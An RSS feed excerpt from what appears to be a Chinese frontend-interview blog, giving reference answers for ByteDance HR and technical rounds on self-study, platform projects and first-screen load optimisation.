&lt;li&gt;&lt;strong&gt;团队接受度和习惯调整&lt;/strong&gt;：通过培训、逐步推行和示范项目降低阻力&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工具链维护复杂性&lt;/strong&gt;：设立专人负责基础设施维护和升级，保障稳定性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;组件库与设计系统演进的平衡&lt;/strong&gt;：定期收集反馈，兼顾灵活性与规范性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能与稳定性监控数据的解读和应用&lt;/strong&gt;：建立专门分析流程，结合业务需求制定优化方案&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="四总结观点"&gt;四、总结观点&lt;/h3&gt;
&lt;p&gt;作为前端负责人，基础设施层的体系化建设是提升团队整体效率和产品质量的关键。通过规范标准、自动化工具、组件库、监控体系及跨团队协作支持，构建稳定且高效的前端研发环境，为业务快速发展提供坚实技术保障。同时，注重团队文化和技术传承，推动持续改进和创新。&lt;/p&gt;</description></item><item><title>字节-抖音短视频-社招-5年 · 第 1 轮 · HR面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-79/</link><pubDate>Sun, 27 Jul 2025 11:49:10 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-79/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-78/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 10 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-9d942d9ed4ea"&gt;1. 为什么选择前端，你是怎么学前端的，自学前端觉得比较困难的点&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;真实表达学习动机和行业认知&lt;br&gt;&lt;/li&gt;
&lt;li&gt;清晰描述学习路径与方法，体现自驱力&lt;br&gt;&lt;/li&gt;
&lt;li&gt;主动总结自学难点及解决方案，展示解决问题能力&lt;br&gt;&lt;/li&gt;
&lt;li&gt;表现对未来成长的规划和期待&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-面试官希望了解候选人的学习动机和成长路径"&gt;● 面试官希望了解候选人的学习动机和成长路径&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-关注候选人对前端行业的认知及自学能力"&gt;● 关注候选人对前端行业的认知及自学能力&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-探索自学过程中的困难及解决方案反映抗压和问题解决能力"&gt;● 探索自学过程中的困难及解决方案，反映抗压和问题解决能力&lt;br&gt;&lt;/h4&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h3 id="一选择前端的原因"&gt;一、选择前端的原因&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;技术的即时反馈与可视化强&lt;/strong&gt;：前端开发可以快速看到效果，工作成果直观，满足感强。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;行业发展迅速，应用广泛&lt;/strong&gt;：随着互联网和移动端普及，前端技术需求旺盛，职业前景广阔。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结合设计与开发的跨界魅力&lt;/strong&gt;：前端融合设计、用户体验和工程实现，工作内容丰富多样。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;学习曲线友好，入门门槛相对较低&lt;/strong&gt;：相比后端复杂环境，前端技术栈更容易起步。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="二学习前端的路径与方法"&gt;二、学习前端的路径与方法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基础知识打牢&lt;/strong&gt;：从HTML、CSS、JavaScript开始，系统学习语言和浏览器原理。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;项目驱动实践&lt;/strong&gt;：通过小项目练习知识点，逐步积累实战经验。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统化学习框架和工具&lt;/strong&gt;：深入学习 Vue、React、Webpack 等主流框架和构建工具。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;参与开源和社区&lt;/strong&gt;：通过阅读源码、提问和答疑，加深理解和扩展视野。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持续跟进新技术&lt;/strong&gt;：保持学习态度，关注生态变化和新兴技术趋势。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="三自学过程中的困难及应对"&gt;三、自学过程中的困难及应对&lt;/h3&gt;
&lt;h4 id="1-知识点多且零散"&gt;1. 知识点多且零散&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;前端涉及面广（浏览器机制、网络、安全、UI等），容易迷失方向。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;解决方法：制定阶段性学习计划，系统化梳理知识体系。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-理论与实践脱节"&gt;2. 理论与实践脱节&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;单纯看文档和教程，缺少动手操作，难以消化。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;解决方法：边学边做项目，遇到问题及时查阅和总结。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-框架与工具更新快"&gt;3. 框架与工具更新快&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;框架迭代频繁，工具链复杂，学习压力大。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;解决方法：关注核心原理，不盲目追新，重点掌握主流稳定技术。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-调试与性能优化难度高"&gt;4. 调试与性能优化难度高&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;浏览器兼容、异步机制、性能调优等问题复杂。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;解决方法：借助调试工具，多阅读源码和案例，积累经验。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="四总结观点"&gt;四、总结观点&lt;/h3&gt;
&lt;p&gt;选择前端，是因为它能快速实现创意、应用广泛且持续发展。自学过程中遇到知识面广、实践难和技术更新快等挑战，但通过系统规划和项目实践克服。未来希望通过不断积累，深入理解前端底层原理和工程化实践，成为一名全栈且有深度的前端工程师。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-c225258c65f9"&gt;2. 对工作的期望&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a66900793458"&gt;3. 成就感的点&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-f8499843f90f"&gt;4. 一二三面面试官给你的感觉&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-eb588741e359"&gt;5. 看到你面试比较曲折，转了三个部门，你有什么感受，事后有复盘吗&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;</description></item><item><title>字节-抖音短视频-社招-5年 · 第 1 轮 · 三面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-78/</link><pubDate>Sun, 27 Jul 2025 11:46:08 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-78/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-77/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-79/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 10 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-5887245a179b"&gt;1. 自我介绍（注意与一、二面的差异化）&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-2a56fc9ed680"&gt;2. 请重点介绍一个你主导或深度参与的技术项目（非业务需求），如何从0到1推动落地&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;明确项目是“自主发起”，解决了实际“工程难题”&lt;/li&gt;
&lt;li&gt;描述了“目标-方案-过程-成果”四个完整阶段&lt;/li&gt;
&lt;li&gt;有实际的“技术亮点”可以展开讲解（如 monorepo、适配抽象、构建工具链）&lt;/li&gt;
&lt;li&gt;表达出清晰的“主人翁意识”与技术领导力&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-面试官希望了解候选人是否具备技术主导力或技术项目-owner思维"&gt;● 面试官希望了解候选人是否具备“技术主导力”或“技术项目 owner”思维&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-重点考察项目选题是否合理推进过程是否专业技术方案是否有深度"&gt;● 重点考察项目选题是否合理、推进过程是否专业、技术方案是否有深度&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-了解候选人在从问题识别调研方案攻克难点团队协作成果评估全过程中的角色与能力"&gt;● 了解候选人在“从问题识别、调研方案、攻克难点、团队协作、成果评估”全过程中的角色与能力&lt;br&gt;&lt;/h4&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h3 id="一项目背景与问题识别"&gt;一、项目背景与问题识别&lt;/h3&gt;
&lt;p&gt;在我负责的公司前端平台中，随着业务的扩展，多个产品线逐渐发展出自己的前端应用，形成了大量重复代码、组件风格不一致、工程维护困难等问题。尤其是在多端部署（H5、微信小程序、企业微信等）场景下，&lt;strong&gt;重复建设、逻辑差异、样式割裂&lt;/strong&gt;等问题尤为突出。&lt;/p&gt;
&lt;p&gt;于是我提出建设一套&lt;strong&gt;前端基础能力平台化方案&lt;/strong&gt;，目标是实现：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通用组件与工具库的沉淀与统一&lt;/li&gt;
&lt;li&gt;多端适配与平台差异抽象&lt;/li&gt;
&lt;li&gt;支持微前端/模块加载的架构演进&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;该项目在初期并非“业务需求”推动，而是从开发痛点中&lt;strong&gt;主动识别问题、提出技术方向并推动落地&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="二方案设计与关键落点"&gt;二、方案设计与关键落点&lt;/h3&gt;
&lt;h4 id="-技术目标拆解"&gt;✅ 技术目标拆解&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;组件与样式平台化&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;设计统一的 UI 规范（基于现有设计稿抽象）&lt;/li&gt;
&lt;li&gt;使用 monorepo + lerna 管理组件库&lt;/li&gt;
&lt;li&gt;使用 Storybook + VitePress 建立文档与调试系统&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;工具函数抽离&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;构建 &lt;code&gt;@common/utils&lt;/code&gt; 包，提供统一的日期处理、加密、验证、网络库封装等工具&lt;/li&gt;
&lt;li&gt;用 TypeScript + 单元测试保障稳定性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;构建通用模板/脚手架&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;抽象常用项目模板：H5、小程序、纯组件库&lt;/li&gt;
&lt;li&gt;提供一键初始化、CI/CD 脚本、lint规范、GitHook 校验等预设&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;模块注册系统设计&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>字节-抖音短视频-社招-5年 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-77/</link><pubDate>Sun, 27 Jul 2025 10:01:22 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-77/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-76/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-78/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; CSRF攻击、https、浏览器的同源策略、浏览器的缓存机制、盒子模型、全方位解读this、call、apply和bind&lt;/p&gt;
&lt;p&gt;本轮共 23 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-ae0f4a4f8724"&gt;1. 自我介绍与项目介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-ca6e8fa84ffb"&gt;2. 你在项目中如何优化首屏加载时间&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;清晰解释首屏加载构成和评估指标&lt;/li&gt;
&lt;li&gt;梳理优化方向：资源优化、加载顺序、渲染提前&lt;/li&gt;
&lt;li&gt;结合实际项目列举优化措施及效果&lt;/li&gt;
&lt;li&gt;提醒常见误区，展示对细节的把控能力&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-首屏加载性能优化的全链路能力"&gt;● 首屏加载性能优化的全链路能力&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察对加载过程、资源调度、渲染流程等多维度的理解与掌握。&lt;/p&gt;
&lt;h4 id="-实际优化手段的选型和落地能力"&gt;● 实际优化手段的选型和落地能力&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察对首屏加载优化策略在项目中的实际应用和效果反馈。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h3 id="一首屏加载时间的定义与构成"&gt;一、首屏加载时间的定义与构成&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;首屏加载时间&lt;/strong&gt;指的是从用户发起访问请求到页面关键内容（尤其是首屏可视区域）可交互的时间。&lt;br&gt;
它包括以下几个阶段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DNS 解析、TCP/TLS 连接&lt;/li&gt;
&lt;li&gt;HTML 下载与解析&lt;/li&gt;
&lt;li&gt;CSS/JS 加载、阻塞与执行&lt;/li&gt;
&lt;li&gt;首屏组件渲染、资源加载与图片显示&lt;/li&gt;
&lt;li&gt;浏览器首次 Paint 与可交互（First Contentful Paint / TTI）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="二常见优化策略与实战举例"&gt;二、常见优化策略与实战举例&lt;/h3&gt;
&lt;h4 id="1-资源加载优化"&gt;1. &lt;strong&gt;资源加载优化&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gzip / Brotli 压缩&lt;/strong&gt;：减少资源体积&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用 HTTP/2 / QUIC&lt;/strong&gt;：提升多资源并发加载能力&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;开启 CDN 加速&lt;/strong&gt;：靠近用户，提高请求速度&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;精简依赖包&lt;/strong&gt;：如 tree-shaking、移除未用依赖（如 moment → dayjs）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-首屏关键资源优先加载"&gt;2. &lt;strong&gt;首屏关键资源优先加载&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Critical CSS 提取与内联&lt;/strong&gt;：减少 CSS 阻塞渲染&lt;br&gt;
示例：使用 webpack 的 &lt;code&gt;critical-css&lt;/code&gt; 插件提取首屏样式并内联到 HTML&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;预加载首屏图片和组件&lt;/strong&gt;&lt;br&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rel&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;preload&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/assets/banner.jpg&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;as&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;image&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;合理使用&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt;async&lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt;defer&lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;加载&lt;/span&gt; JS&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：避免阻塞&lt;/span&gt; HTML &lt;span style="color:#960050;background-color:#1e0010"&gt;解析&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### 3. **首屏代码最小化（关键代码提取）**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;路由懒加载&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：非首屏模块按需加载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;```&lt;/span&gt;js
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; About &lt;span style="color:#f92672"&gt;=&lt;/span&gt; React&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lazy(() &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; import(&lt;span style="color:#e6db74"&gt;&amp;#39;./About&amp;#39;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;组件级拆分（如&lt;/span&gt; webpack &lt;span style="color:#960050;background-color:#1e0010"&gt;的&lt;/span&gt; SplitChunks&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：减少主包体积&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt;SSR &lt;span style="color:#f92672"&gt;/&lt;/span&gt; SSG &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;静态渲染&lt;/span&gt;&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：预渲染首屏内容，降低白屏时间&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### 4. **骨架屏 + 占位图**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;使用骨架屏组件在主内容加载前展示占位&lt;/span&gt; UI
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;```&lt;/span&gt;html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;div &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;skeleton-loader&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;...&amp;lt;/&lt;/span&gt;div&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;提高用户感知速度，避免白屏&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### 5. **缓存策略**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;使用强缓存（&lt;/span&gt;Cache&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Control&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;）与协商缓存（&lt;/span&gt;ETag&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;使用&lt;/span&gt; Service Worker &lt;span style="color:#960050;background-color:#1e0010"&gt;做离线缓存，提升重复访问性能&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### 6. **图片优化**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;使用&lt;/span&gt; WebP&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;AVIF &lt;span style="color:#960050;background-color:#1e0010"&gt;等新格式&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;小图&lt;/span&gt; base64 &lt;span style="color:#960050;background-color:#1e0010"&gt;内嵌、大图懒加载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;多倍图压缩（如用&lt;/span&gt; tinypng &lt;span style="color:#960050;background-color:#1e0010"&gt;等工具）控制首屏图体积&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;KB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 三、项目实战效果举例（性能指标前后对比）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;优化项&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;优化前&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;优化后&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
